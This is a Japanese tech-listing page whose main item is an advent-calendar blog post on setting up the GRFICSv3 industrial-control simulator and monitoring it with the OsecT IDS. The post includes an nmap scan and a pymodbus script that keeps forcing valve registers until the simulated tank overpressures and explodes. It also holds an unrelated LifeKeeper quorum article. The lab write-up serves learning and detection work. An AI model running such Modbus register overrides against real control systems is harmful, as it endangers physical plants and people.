TECH PLAY

VirtualBox

イベント

マガジン

該当するコンテンツが見つかりませんでした

技術ブログ

2025年10月に公開された「GRFICSv3」の環境構築手順と、制御ネットワーク向けIDS「OsecT」を組み合わせた検証記事です。 専用のダミーIFを用いたパケット可視化の手法や、Pythonスクリプトによる攻撃の実行、およびIDSでの検知アラート発生の様子を紹介します。 GRFICSv3とは GRFICSv3の実行 GRFICSv3の画面紹介 シミュレータ画面 エンジニアリングワークステーション画面 攻撃者端末の画面 Caldera画面 PLC (OpenPLC) 画面 HMI (Scada-LTS) 画面 ルータ/ファイアウォール画面 GRFICSv3の所感 OT IDS OsecTによる可視化 GRFICSv3用のダミーIFの作成 GRFICSv3のセットアップ GRFICSv3のネットワーク設定変更 GRFICSv3の起動 GRFICSv3の動作確認 パケットの確認 OT IDS OsecTによる可視化 端末一覧画面 ネットワークマップ画面 攻撃の実行と検知 攻撃者端末を起動する OT IDS OsecTでの検知 攻撃スクリプトの実行 OT IDS OsecTでの検知 おわりに この記事は、 NTT docomo Business Advent Calendar 2025 23日目の記事です。 こんにちは、NTTドコモビジネスの上田です。 普段は、制御ネットワーク向けのIDS 1 である 「OsecT(オーセクト)」 の開発・運用に携わっています。 今回は、2025年10月頃に公開されたGRFICSv3を紹介します。 当初は昨年の データダイオードネタ の続きを予定していたのですが、以前から時々触っていたGRFICSv2の後継であるGRFICSv3が公開されたのを知り、急遽内容を変更しました。 制御ネットワークのセキュリティに興味がある方や、制御システムのサイバー攻撃を体験してみたい方にはお勧めのシミュレータですので、ぜひご一読いただけると幸いです。 なお、本記事は実際のシステムへの攻撃を推奨するものではありません。 あくまでも、学習・研究・開発目的での利用を想定しています。 GRFICSv3とは GRFICSv3 (Graphical Realism Framework for Industrial Control Simulation Version 3) は、Dockerで完結する化学プラントのサイバー物理シミュレーション環境です。 実際のプロセス挙動、産業用プロトコル、エンジニアリングツール、攻撃用インフラの全てをコンテナ化して提供しています。 用途としては、ICS(産業制御システム)セキュリティの学習・調査、インシデント対応の演習、攻撃・防御ツールの開発とテストなどへの利用を想定しているようです 2 。 サイバー攻撃による、プラントの爆発も再現できるようです。 GRFICSv2までは、VirtualBox等の仮想マシン上で動作する形態でしたが、 GRFICSv3ではDockerコンテナとして提供されるようになりました。 なお、今回紹介するGRFICSv3は、 Fortiphyd/GRFICSv3 で公開されているGRFICSv3になります。 Fortiphyd/GRFICSv3 や Fortiphyd/GRFICSv2 のREADMEのコミット履歴から判断するに、 2025年10月頃に公開されたようです。 2025年12月現在、検索エンジンで「GRFICSv3」と検索すると別のリポジトリが上位に表示されます(少なくとも私の環境では)。 今回の記事で紹介するのはFortiphyd社が公開しているGRFICSv3になりますので、ご注意ください。 Web上でGRFICSの歴史を辿ってみると、初代は2018年のUSENIXにて発表され、 djformby/GRFICS として公開されたようです 3 。 その後、バージョン2となる Fortiphyd/GRFICSv2 が2020年に公開され、 さらに現在のGRFICSv3へと進化しています。 初代GRFICSからFortiphyd社が開発に携わっていることが確認できるため、 今回紹介するGRFICSv3はGRFICSシリーズの公式な最新版と判断しました。 GRFICSv3の実行 GRFICSv3はDockerコンテナとして提供されているため、Dockerが動作する環境であれば簡単に実行できます。 GRFICSを実行するだけであれば、Docker DesktopやWSL2上のDockerなど、Dockerが動作する環境であれば問題ありません。 後半のIDS等による可視化や検知に関しては、Ubuntu 24.04のVM環境で動作を確認しています。 GRFICSv3の起動は非常に簡単で、以下のコマンドを実行するだけです。 ただし、Dockerイメージの合計サイズが9GB程度あるため、初回起動時はイメージのダウンロードに時間を要する場合があります。 git clone https://github.com/Fortiphyd/GRFICSv3.git cd GRFICSv3 docker compose up -d これで、GRFICSv3の各コンテナが起動します。 起動後、以下のURLにアクセスすることで、GRFICSv3の各種画面を確認できます。 シミュレータ: http://localhost:80 エンジニアリングワークステーション: http://localhost:6080/vnc.html 攻撃者端末: http://localhost:6088/vnc.html USER: kali, PASS: kali MITRE Caldera: http://localhost:8888 USER: red, PASS: fortiphyd-red PLC (OpenPLC): http://localhost:8080 USER: openplc, PASS: openplc HMI (Scada-LTS): http://localhost:6081 USER: admin, PASS: admin ※ルータ・ファイアウォールは、デフォルトではDockerホスト側からはアクセスできないようです。 注意点として、ARMアーキテクチャのCPUを搭載したPCでは、エンジニアリングワークステーションにインストールされているOpenPLCエディタが動作しませんでした。 他のコンテナについては特に問題は確認されませんでしたが、可能であればx64アーキテクチャのCPUを搭載したPCで実行することをお勧めします。 GRFICSv3の画面紹介 この章では、GRFICSv3の各種画面を簡単に紹介します。 気になった方は、ぜひ実際にGRFICSv3を起動して確認してみてください。 シミュレータ画面 先ほど述べたように、GRFICSv3のシミュレータ画面は、 http://localhost:80 にアクセスすることで確認できます。 下記画面は、GRFICSv3のシミュレータ画面の初期状態です(最大化した状態の画面です)。 GRFICSv3のシミュレータ画面では、GRFICSv2でも表示されていた化学プラントの各種センサー値などに加え、一部配管などが透明化されており、中を流れる原料や生成物の様子が視覚的に確認できるようになっています。 最大のアップデートポイントは、プラント内部を自由に移動できるようになったことかと思います。 通常のFPSゲームのように、WASDキーで移動し、マウスで視点を操作できます。 また、プラント内を移動して脆弱なポイントを見つけると、右上の数字がカウントアップされるゲーム要素も追加されています。 下記のように、制御室らしき部屋に移動することもできます。 エンジニアリングワークステーション画面 エンジニアリングワークステーションは、PLCのプログラムを開発・デバッグするためのツールが入った端末です。 GRFICSv3では、OpenPLCエディタがインストールされています。 GRFICSv3の場合、デスクトップ上にOpenPLCエディタのショートカットが配置されているため、ダブルクリックで起動できます。 下記画面は、デスクトップにある chemical ディレクトリをOpenPLCエディタで開いた際のものです。 先述のとおり、OpenPLCエディタはARMアーキテクチャのCPUを搭載したPCでは起動できませんでした。 攻撃者端末の画面 攻撃者端末は、Kali Linuxのデスクトップ環境が入った端末です。 GRFICSv3では、PythonでModbus TCPを利用するためのパッケージ pymodbus がプリインストールされていました。 GRFICSは制御プロトコルとしてModbus TCPを使用しているため、攻撃者端末からModbus TCPを利用した攻撃スクリプトを実行することを想定しているのかもしれません。 Caldera画面 GRFICSv3の新要素として、 MITRE Caldera が組み込まれています。 Calderaは、サイバー攻撃を自動化するためのフレームワークです。 実際の攻撃を自動的に模擬することで、セキュリティの検証などに利用できます。 GRFICSv3では、制御プロトコルとしてModbus TCPを利用していることから、Modbusプラグインがプリインストールされているようです。 PLC (OpenPLC) 画面 PLC (OpenPLC) は、GRFICSv3の化学プラントを制御するためのPLCです。 GRFICSv3では、OpenPLCが使用されています。 下記画面は、OpenPLCのWebインターフェースの画面です。 エンジニアリングワークステーションで開発したPLCプログラムをアップロードしたり、PLCの状態を確認したりできます。 エンジニアリングワークステーションからPLCに接続する際は、ブラウザ (Firefox) から http://192.168.95.2:8080 にアクセスすると接続できます。 HMI (Scada-LTS) 画面 システムの操作や各種データを確認できるようです。 具体的には、下記画像のGraphical viewsボタンをクリックすることで、プラントの運転ボタンを押したり、各種センサー値を確認したりできます。 ただ、残念ながら私の環境では運転ボタンを押した際、エラーが表示されました。 しかし、エラーは表示されるものの、運転操作自体は行えているように見受けられたため、今回は無視して進めますが、気づいていないだけで不具合が発生している可能性もあります。 ちなみに、エラーメッセージは下記の通りです。 Incorrect format. The point value has not been changed. Error saving point value: dataType=1, dvalue=1.0, message: PreparedStatementCallback; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: PROCEDURE scadalts.prc_alarms_notify does not exist ルータ/ファイアウォール画面 下記画面は、GRFICSv3のルータ/ファイアウォールの画面です。 IDS機能も備わっているようです。 GRFICSv2の時は、pfSenseが使用されていましたが、GRFICSv3では独自のルータ/ファイアウォールが使用されているようです。 GRFICSv3の所感 以上、GRFICSv3の各種画面を簡単に紹介しました。 GRFICSv3はDockerコンテナとして提供されているため、Dockerの実行環境さえあれば git clone と docker compose up -d の2コマンドで簡単に起動できる点が非常に手軽で便利です。 一方で、まだ公開されて間もないためか、細かい不具合がいくつかあるようにも見受けられました。 先ほど述べたHMIのエラー以外にも、GRFICSv3を起動したまま長時間放置していると、タンク内の圧力が異常に高くなり、プラントが爆発してしまう事象にも遭遇しました(私の環境の問題である可能性も捨てきれません)。 ただ、全体的には非常に良くできているシミュレータであり、制御ネットワークのセキュリティに興味がある方や、制御システムのサイバー攻撃を体験してみたい方にはお勧めのシミュレータです。 私自身は、まだGRFICSv3を触り始めたばかりで、理解が浅い部分も多いので、今後も引き続き触っていきたいと考えています。 この後の章では、GRFICSv3の通信をIDSで可視化します。 さらに攻撃スクリプトを作成・実行し、プラントの破壊も試みます。 OT IDS OsecTによる可視化 今回は、GRFICSv3の通信を制御ネットワーク向けIDSであるOsecT(オーセクト)で可視化してみます。 ポイントとしては、GRFICSv3専用のダミーIFを作成し、IDSで可視化する際のノイズ低減を図ります。 今回構築する検証環境のネットワーク構成は、以下のようになります。 なお、IDSを利用して可視化する部分に絞って記載しています。 なお、今回利用するOsecTは開発用のものになります。 お客さまのVM上にOsecTを構築するオプションは、2025年12月時点では提供されていないことにご留意ください。 GRFICSv3用のダミーIFの作成 GRFICSv3用のダミーIFを作成します。 デフォルト設定では、GRFICSv3の各コンテナはUbuntuホストの eth0 を介して通信します。 ただこの場合、IDSでパケットをキャプチャする際に、ICSネットワークとDMZネットワークの通信が混在してしまうという課題があります。 さらに、 eth0 を利用する他のプロセスのパケットも混ざり、解析時のノイズが発生してしまう問題もあります。 そこで、今回はGRFICSv3専用のダミーIFを2つ作成し、docker-compose.ymlでそれぞれのNICを指定します。 具体的には、 dummy0 と dummy1 という2つのダミーIFを作成します。 これにより、GRFICSv3の通信のみをIDSでキャプチャできるようにします(ただ残念ながら、完全にはノイズを排除できませんでした 4 )。 ダミーIFの作成は、systemd-networkdを利用して行います。 下記設定ファイルを作成した後、 sudo systemctl restart systemd-networkd コマンドで設定を反映します。 設定ファイルの内容(クリックすると開きます) 以下、 /etc/systemd/network/10-dummy0.netdev の内容です。 [NetDev] Name=dummy0 Kind=dummy 以下、 /etc/systemd/network/10-dummy1.netdev の内容です。 [NetDev] Name=dummy1 Kind=dummy 以下、 /etc/systemd/network/10-dummy-common.network の内容です。 今回、 LinkLocalAddressing 等はノイズパケットの原因となるため無効化しています。 [Match] # dummy0 と dummy1 の両方にマッチさせる Name=dummy0 dummy1 [Network] # 両方のインターフェースに適用される共通設定 LinkLocalAddressing=no DHCP=no IPv6AcceptRA=no GRFICSv3のセットアップ この章では、GRFICSv3のセットアップを行います。 IDSで可視化するために、GRFICSv3のネットワーク設定を変更する必要があります。 GRFICSv3のネットワーク設定変更 今回は、GRFICSv3を起動する前に、ネットワークの設定を変更します。 もしもまだGRFICSv3のリポジトリをクローンしていない場合は、下記コマンドでGRFICSv3のリポジトリをクローンし、 GRFICSv3 ディレクトリに移動します。 git clone https://github.com/Fortiphyd/GRFICSv3.git cd GRFICSv3 次に、 docker-compose.yml を編集します。 具体的には、 docker-compose.yml のトップレベルにある networks セクションを以下のように変更します。 networks : b-ics-net : driver : macvlan driver_opts : parent : dummy0 # ここをdummy0に変更 ipam : config : - subnet : 192.168.95.0/24 gateway : 192.168.95.1 c-dmz-net : driver : macvlan driver_opts : parent : dummy1 # ここをdummy1に変更 ipam : config : - subnet : 192.168.90.0/24 gateway : 192.168.90.1 これで、 b-ics-net の通信は dummy0 を、 c-dmz-net の通信は dummy1 を介してキャプチャできるようになります。 なお、デフォルトの設定のままでは docker compose up コマンドと docker compose down コマンドを繰り返す度に、GRFICSv3の各コンテナに割り当てられるMACアドレスが変化してしまいます。 これは、IDSの検証等で利用することを考えると不便です。 そこで今回は、下記のように docker-compose.yml の各コンテナの networks セクションに mac_address オプションを追加し、MACアドレスを固定しました。 networks : a-grfics-admin : # gets random bridge IP (e.g., 172.18.x.x) b-ics-net : ipv4_address : 192.168.95.10 mac_address : "96:62:8a:11:dc:b8" # 追加, 任意のMACアドレスを設定 これにより、MACアドレスが固定化され、IDSに別端末として認識されることを防げます。 GRFICSv3の起動 上記設定が終わり次第、下記コマンドでGRFICSv3を起動します。 なお、今回はIDSで可視化するために、PLC、ルータ、エンジニアリングワークステーション、HMI、シミュレーションコンテナのみを起動します。 Calderaと攻撃者端末の起動は一旦保留します。 docker compose up -d plc router ews hmi simulation なお、最初のセットアップ時は、Dockerイメージのダウンロード(合計約9GB)などが行われるため、起動までに数分かかる場合があります。 GRFICSv3の動作確認 GRFICSv3の各種画面にアクセスし、正常に動作していることを確認します。 例えば、シミュレータ画面にアクセスするには、ブラウザで http://localhost にアクセスします。 以下に、GRFICSv3の各種画面にアクセスするためのURLを再掲します。 シミュレータ: http://localhost:80 エンジニアリングワークステーション: http://localhost:6080/vnc.html 攻撃者端末: http://localhost:6088/vnc.html USER: kali, PASS: kali MITRE Caldera: http://localhost:8888 USER: red, PASS: fortiphyd-red PLC (OpenPLC): http://localhost:8080 USER: openplc, PASS: openplc HMI (Scada-LTS): http://localhost:6081 USER: admin, PASS: admin パケットの確認 GRFICSv3の各種コンテナが起動したら、 dummy0 と dummy1 インターフェースにパケットが流れていることを確認します。 tcpdumpコマンドなどで確認できます。 tcpdumpコマンドがインストールされていない場合は、 sudo apt install tcpdump コマンドでインストールしてください。 下記コマンドは、 dummy0 インターフェースに流れているパケットを観測する場合の例です。 sudo tcpdump -i dummy0 GRFICSv3はModbus TCPを利用しているため、下記のようにフィルタをかけるとModbus TCPの通信のみを観測できます。 sudo tcpdump -i dummy1 tcp dst port 502 以下、 dummy1 インターフェースに流れているModbus TCPの通信を実際に観測した際の出力になります。 5パケットのみキャプチャして終了するために、 -c5 オプションを付与しています。 $ sudo tcpdump -c5 -i dummy1 tcp dst port 502 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on dummy1, link-type EN10MB (Ethernet), snapshot length 262144 bytes 10:23:22.238986 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [S], seq 1899401048, win 62720, options [mss 8960,sackOK,TS val 2744228717 ecr 0,nop,wscale 7], length 0 10:23:22.239100 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [.], ack 2756698681, win 490, options [nop,nop,TS val 2744228717 ecr 1980836816], length 0 10:23:22.239547 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [P.], seq 0:12, ack 1, win 490, options [nop,nop,TS val 2744228718 ecr 1980836816], length 12 10:23:22.256091 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [.], ack 11, win 490, options [nop,nop,TS val 2744228734 ecr 1980836833], length 0 10:23:22.291946 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [F.], seq 12, ack 11, win 490, options [nop,nop,TS val 2744228770 ecr 1980836833], length 0 5 packets captured 10 packets received by filter 0 packets dropped by kernel 以上で、GRFICSv3のセットアップは完了です。 OT IDS OsecTによる可視化 この章では、GRFICSv3の通信をOsecTで可視化してみます。 今回利用するOsecTは、開発用のものになります。 VM上にOsecTを構築しますが、お客さまが用意されたVM上にOsecTを構築するオプションは、2025年12月時点では提供されていないことにご留意いただけると幸いです。 そのため、今回はセットアップ手順を割愛させていただきます。 端末一覧画面 下記画面は、OsecTの端末一覧画面です。 GRFICSv3のPLCやHMIなどの各コンテナからの通信をもとに、作成されたものになります。 「接続サービス(To)」、「接続サービス(From)」の2つの列に着目してみます。 まず、「接続サービス(To)」です。 「接続サービス(To)」には、当該端末を起点に他の端末に接続したサービスが表示されます。 192.168.95.2のIPアドレスを持つ端末 (OpenPLC) に着目すると、 modbus (502/tcp) と記載されています。 このため、OpenPLCがModbus TCPのクライアントとして動作していることが分かります。 次に、「接続サービス(From)」です。 「接続サービス(From)」には、他の端末から当該端末に接続したサービスが表示されます。 同じく、192.168.95.2のIPアドレスを持つ端末 (OpenPLC) に着目すると、 http* (80/tcp),https* (443/tcp),modbus (502/tcp),http (8080/tcp) と記載されています。 このため、OpenPLCがHTTPサーバやModbus TCPのサーバとしても動作していることが分かります。 ちなみに、HTTPSは動作していないはずですが、私が誤ってHTTPSでアクセスを試行した際の通信が検知されたため、 https* (443/tcp) も表示されるようになったようです。 ちなみに、上記画面に映っている192.168.95.15, 192.168.95.14, 192.168.95.13のIPアドレスを持つ3つの端末は、MACアドレスが同じです。 これは、GRFICSv3のシミュレーションコンテナ上で複数のデバイスを模擬しているためのようです。 シミュレータという特性上、ある程度は許容すべき仕様かと思います。 ソースコードは公開されているので、機会があればGRFICSv3のシミュレーションコンテナ内で動作している各デバイスに個別のMACアドレスを割り当てる方法が無いか試すのも面白いかもしれません。 ネットワークマップ画面 下記画面は、OsecTのネットワークマップ画面です。 ネットワークマップ画面では、各端末の通信関係を視覚的に確認できます。 今回は、フィルター機能を利用して ICSネットワーク(192.168.95.0/24)内の通信のみを表示しています。 ノードやエッジをクリックすることで、右側に表示されているような通信の詳細情報を確認できます。 下記画面では、中心に緑色で表示されているOpenPLC(192.168.95.2)と、周辺に赤色で表示されているバルブやセンサーなどの各種デバイス(192.168.95.10~192.168.95.15)や、青色で表示さているエンジニアリングワークステーション(192.168.95.5)との通信関係が視覚的に確認できます。 各端末の色は、端末の役割に応じて自動的に設定されたものです。 OpenPLCはサーバとクライアント両方の機能が動作しているため緑色、エンジニアリングワークステーションはクライアントとして動作しているため青色、各種デバイスはサーバとして動作しているため赤色で表示されています。 攻撃の実行と検知 GRFICSv3は、先述のように攻撃用の端末も用意されています。 今回は、攻撃者端末から下記Pythonスクリプトを実行し、タンク内の圧力を上昇させてみます。 攻撃者端末を起動する まず、下記コマンドで攻撃者端末を起動します。 docker compose up -d kali その後、 http://localhost:6088/vnc.html にアクセスし、攻撃者端末にVNCで接続します。 せっかくなので動作確認も兼ねて、試しにICSネットワークに対してnmapコマンドでスキャンを行ってみます。 下記は、nmapを利用してModbus TCPで利用される502番ポートをスキャンした際のものです。 OpenPLCやシミュレーターなど、Modbus TCPサーバが動作している端末を確認できます。 $ nmap -sS -p 502 192.168.95.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 03:12 UTC Nmap scan report for 192.168.95.2 Host is up (0.00034s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.5 Host is up (0.00027s latency). PORT STATE SERVICE 502/tcp closed mbap Nmap scan report for 192.168.95.10 Host is up (0.000024s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.11 Host is up (0.000027s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.12 Host is up (0.00011s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.13 Host is up (0.000072s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.14 Host is up (0.000050s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.15 Host is up (0.000055s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.200 Host is up (0.000015s latency). PORT STATE SERVICE 502/tcp closed mbap Nmap done: 256 IP addresses (9 hosts up) scanned in 3.85 seconds OT IDS OsecTでの検知 下記画面は、ICSネットワークを監視しているOsecTで、攻撃者端末からのnmapスキャンを検知した際のものです。 検知種別「IP通信」は、プロトコル番号や送信元/宛先IPアドレス、ポート番号の組み合わせが正常時の通信に存在しない場合、発生(検知)するアラートです。 今回は、攻撃者端末からICSネットワークに対してnmapスキャンを行ったため検知しました。 ちなみに、もう1つのアラートは先述の問題により発生したもので、dummyインターフェースに他のIFに流れているはずのパケットが混入しているようです。 下記画面は、DMZネットワークを監視しているOsecTで、攻撃者端末の出現を検知した際のものです。 このように、攻撃者端末がICSネットワークに対してnmapスキャンを行った際に、新規端末の出現や不審な通信を検知できることが分かります。 攻撃スクリプトの実行 下記Pythonスクリプトを攻撃端末 (Kali) 上で実行します。 下記スクリプトは、Modbus TCPを利用して各バルブの開度を設定し続けるものです。 具体的には、A剤・B剤のバルブを全開にし、パージバルブとプロダクトバルブを閉じることで、タンク内の圧力上昇を目指します。 PLCからの正規の制御値を上書きし続けるために、ループで繰り返し設定します。 import time from pymodbus.client import ModbusTcpClient def main (): interval = 0.0005 # PLCの制御周期よりも短い間隔で設定を繰り返す # 下記、IPアドレスやポート、Unit ID、アドレスはOpenPLCのWebUIから確認可能 # 値(65535 や 0)は、各バルブの開度を設定するためのもの unit_id = 247 address = 1 targets = [ ( "192.168.95.10" , 502 , 65535 ), # Valve A ( "192.168.95.11" , 502 , 65535 ), # Valve B ( "192.168.95.12" , 502 , 0 ), # Purge Valve ( "192.168.95.13" , 502 , 0 ), # Product Valve ] # Modbus TCPクライアントの作成と接続 clients = [ModbusTcpClient(host, port=port, timeout= 2 ) for host, port, _ in targets] for c in clients: c.connect() # バルブの開度を設定し続ける # PLCからの正規の制御値を上書きし続けるために、ループで繰り返し設定する while True : for c, (_, _, value) in zip (clients, targets): c.write_registers(address, [value], slave=unit_id) time.sleep(interval) if __name__ == "__main__" : main() スクリプトの実行のために、下記コマンドで上記スクリプトを attack_modbus.py という名前で攻撃者端末上に作成します。 その後、 python3 attack_modbus.py コマンドで実行します。 コマンド(クリックすると開きます) cat <<EOF > attack_modbus.py import time from pymodbus.client import ModbusTcpClient def main(): interval = 0.0005 # 下記、IPアドレスやポート、Unit ID、アドレスはOpenPLCのWebUIから確認可能 # 値(65535 や 0)は、各バルブの開度を設定するためのもの unit_id = 247 address = 1 targets = [ ("192.168.95.10", 502, 65535), # Valve A ("192.168.95.11", 502, 65535), # Valve B ("192.168.95.12", 502, 0), # Purge Valve ("192.168.95.13", 502, 0), # Product Valve ] # Modbus TCPクライアントの作成と接続 clients = [ModbusTcpClient(host, port=port, timeout=2) for host, port, _ in targets] for c in clients: c.connect() # バルブの開度を設定し続ける # PLCからの正規の制御値を上書きし続けるために、ループで繰り返し設定する while True: for c, (_, _, value) in zip(clients, targets): c.write_registers(address, [value], slave=unit_id) time.sleep(interval) if __name__ == "__main__": main() EOF 上記スクリプトを実行後、下記のようにシミュレーター画面を確認すると、左側2つの原料の投入量を調整するためのバルブの数値が全開 (100%) 、右側2つの生成物を排出するためのバルブの数値が全閉 (0%) になっていることが分かります。 このため、実際に実行してみるとHMI上でタンク内の圧力の上昇を確認できます。 なお、上記HMIの画面では各バルブの開度がシミュレーターに表示されている内容と異なっています。これは正規のPLCからの制御値がHMIに反映されており、実際のバルブの値が反映されていない可能性があります(未確認)。 上記スクリプトを実行後、数分放置するとタンクの圧力が3,000kPaを超え、タンクから蒸気が噴出した後、最終的には下記のように爆発します。 OT IDS OsecTでの検知 今回は、検知機能のひとつである「IP通信」アラートでどのように今回の攻撃が検知されるのかを確認してみます。 IP通信アラートは、正常時のIPアドレスとポート番号の組み合わせを学習し、それと異なる通信が発生した場合にアラートを出す機能です。 下記画面は、ICSネットワークを監視しているOsecTで、攻撃者端末からの攻撃を検知した際のものです。 攻撃者端末(192.168.90.6)からバルブを制御するためのModbus TCPサーバ(192.168.95.10 ~ 192.168.95.13)に対して、502番ポートで多数の通信が発生していることが分かります。 これらの通信は、通常時には存在しなかった通信であるため、OsecTが異常として検知し、アラートを出しています。 おわりに 本記事では、GRFICSv3の各種画面を紹介し、IDS(OsecT)を利用してGRFICSv3の通信を可視化してみました。 また、攻撃者端末からModbus TCPを利用してタンク内の圧力を上昇させ、最終的にプラントを爆発させる攻撃も実施しました。 一部の画面や機能のみの紹介となりましたが、GRFICSv3は非常に良くできたシミュレータであり、制御ネットワークのセキュリティに興味がある方や、制御システムのサイバー攻撃を体験してみたい方にはお勧めのシミュレータです。 それでは明日の記事もお楽しみに! IDS: Intrusion Detection System, 侵入検知システム。 ↩ Fortiphyd/GRFICSv3 README より。 ↩ Formby, D., Rad, M., and Beyah, R. Lowering the Barriers to Industrial Control System Security with GRFICS. In 2018 USENIX Workshop on Advances in Security Education (ASE 18). ↩ 具体的には、今回の検証中に dummy0 や dummy1 に他のIFに流れているはずのパケットが混入しているように見える事象が何度か発生しました。こちらは、VMもしくはコンテナの再起動時に発生するように見えましたが、現時点ではタイミングや原因を特定できていません。発生頻度が少なく混入するパケットも1度に数パケット程度であるため、今回は無視して進めました。 ↩
こんにちは、今回はVirtualBox上の仮想OSで動作しているプロセスに、ホストOSからアタッチしてデバッグする方法をご紹介いたします。
こんにちは SCSK 野口です。 前回の記事 『LifeKeeper の Quorum/Witness (Storage) を導入してみた』 では、 Quorum/Witness(Storage)を実際に導入してみました。 まだ、お読みでない方は上記リンクからご覧ください。 本記事では、Quorum/Witness(Majority)を仮想マシン上のLinux環境に導入してみます。 おさらい 前々回の記事でもお伝えしましたが、Majority構成は多数決判定をするため、 ノードを奇数用意する必要があります。そのため、Majority構成は 3ノード以上から動作可能となってます。 また、majorityモードで使用可能な Witnessモードは以下となります。 ・remote_verify ・none または off QuorumとWitnessの構成が正しくないと、サーバが誤って停止するんだったよね!   導入 今回の構成について 今回も Virtual Box (仮想VM) を使用し、3台のサーバ (ノード) 構成にします。 前回の Active/Standby構成のクラスターに Witnessサーバを追加することによって、多数決を実現します。 3ノード以上の奇数台構成のクラスターであれば、追加のノードを用意する必要はありません。 Majority構成では、Quorum チェックを実行した後に、Witness チェックを実行します。 専用の Witnessノード は、 複数のクラスターで共有することができるわよ! でも、複数のクラスターで同時に障害が発生したら、 通常の構成よりも フェイルオーバーに時間がかかってしまうわ。 だから、専用のWitnessノードは1つのクラスターだけで使用することをお勧めしてるんだね!   動作環境 今回の Quorum/Witness (Majority)を導入した構成は以下となります。   前回の Active/Standby構成に Witnessサーバを導入するわ! 導入する際、Witnessサーバ間でもコミュニケーションパスを作成しなきゃだね! 導入手順 1.Witnessサーバをセットアップし、他のサーバとネットワーク通信ができることを確認します。 ※ サーバセットアップの詳細は省かせていただきます。 新たに追加したWitnessサーバ間とも通信できているか、pingコマンドで疎通確認してみます。 [root@rhel75wit ~]# ping -c 3 rhel75n01 PING rhel75n01 (192.168.56.130) 56(84) bytes of data. 64 bytes from rhel75n01 (192.168.56.130): icmp_seq=1 ttl=64 time=1.13 ms 64 bytes from rhel75n01 (192.168.56.130): icmp_seq=2 ttl=64 time=2.61 ms 64 bytes from rhel75n01 (192.168.56.130): icmp_seq=3 ttl=64 time=1.37 ms --- rhel75n01 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2004ms rtt min/avg/max/mdev = 1.134/1.707/2.618/0.651 ms [root@rhel75wit ~]# ping -c 3 rhel75n02 PING rhel75n02 (192.168.56.140) 56(84) bytes of data. 64 bytes from rhel75n02 (192.168.56.140): icmp_seq=1 ttl=64 time=0.747 ms 64 bytes from rhel75n02 (192.168.56.140): icmp_seq=2 ttl=64 time=2.91 ms 64 bytes from rhel75n02 (192.168.56.140): icmp_seq=3 ttl=64 time=1.67 ms --- rhel75n02 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2003ms rtt min/avg/max/mdev = 0.747/1.779/2.914/0.888 ms 2.Witnessサーバにも LifeKeeperをインストールします。 その際、「Use Quorum/Witness functions」を有効にし、Quorum/Wintness パッケージをインストールします。 3.Witnessサーバも含めた、すべてのノード間でコミュケーションパスを作成し、ALIVEであることを確認します。 LKWMCの場合は、左タスクバーの「コミュニケーションパス」を選択します。 コミュニケーションパスのステータスが「ALIVE」であることを確認します。 4.すべてのノードで Quorum/Witnessの設定を行います。(/etc/default/LifeKeeper) 初めに、1号機と2号機を下記のように設定していきます。 次に、Witnessサーバを下記のように設定します。 上記の手順が完了すると、そのクラスターでは Quorum/Witness 機能が動作するようになり、 フェイルオーバーが許可される前に、Quorum チェックおよび Witness チェックが行われます。 前回の Quorum Witness (Storage) と違い、初期化コマンドなどはありません。 Witnessノード は リソースを持たない から、 Quorumチェック と Witnessチェックを実施する必要はないわ!   だから、QUORUM_MODE と WITNESS_MODEを「none」にしてたんだね!   動作確認 1号機 (rhel75n01) 2号機 (rhel75n02) 間のコミュニケーションパスを切断しても Witnessサーバの監視により「お互いが見えている状態か」、実際に確認してみます。 今回、1,2号機間のコミュニケーションパスで利用しているネットワークインターフェース 「 enp0s8(192.168.58.130)」を ifdownコマンドで無効化(シャットダウン)します。 [root@rhel75n01 ~]# ifdown enp0s8 デバイス 'enp0s8' が正常に切断されました。 ifdownコマンドを実行後、「リソースツリー」画面を確認すると、このように表示されます。 コミュニケーションパス (192.168.58.130)のステータスが「DEAD」であることを確認します。 1号機 (rhel75n01) 2号機 (rhel75n02)のログを確認すると、 お互いがサービスを継続していることが分かるメッセージがあります。 Aug 29 18:30:05 rhel75n01 lifekeeper[14514]: NOTIFY:event.comm_down:::010469:We do have quorum on comm_down to rhel75n02, continuing Aug 29 18:30:02 rhel75n02 lifekeeper[10132]: NOTIFY:event.comm_down:::010469:We do have quorum on comm_down to rhel75n01, continuing 最後に 1号機で lcdstatus -eコマンドを実行し、仮想IPリソースが「ISP(正常稼働)」であることを確認します。   まとめ 今回は Quorum/Witness(Majority) を実際に導入してみましたがいかがでしたか。 導入する際は、以下の点に注意してください。 ・導入する前に、ノード数が3以上で奇数になっていることを確認する。 ・導入する際は、Witnessノード含めたコミュニケーションパスを作成し、 Aliveであることを確認する。 ・動作確認では、1,2号機間のコミュパスに障害を起こしても、問題なく稼働し続けることを確認する。  

動画

該当するコンテンツが見つかりませんでした

書籍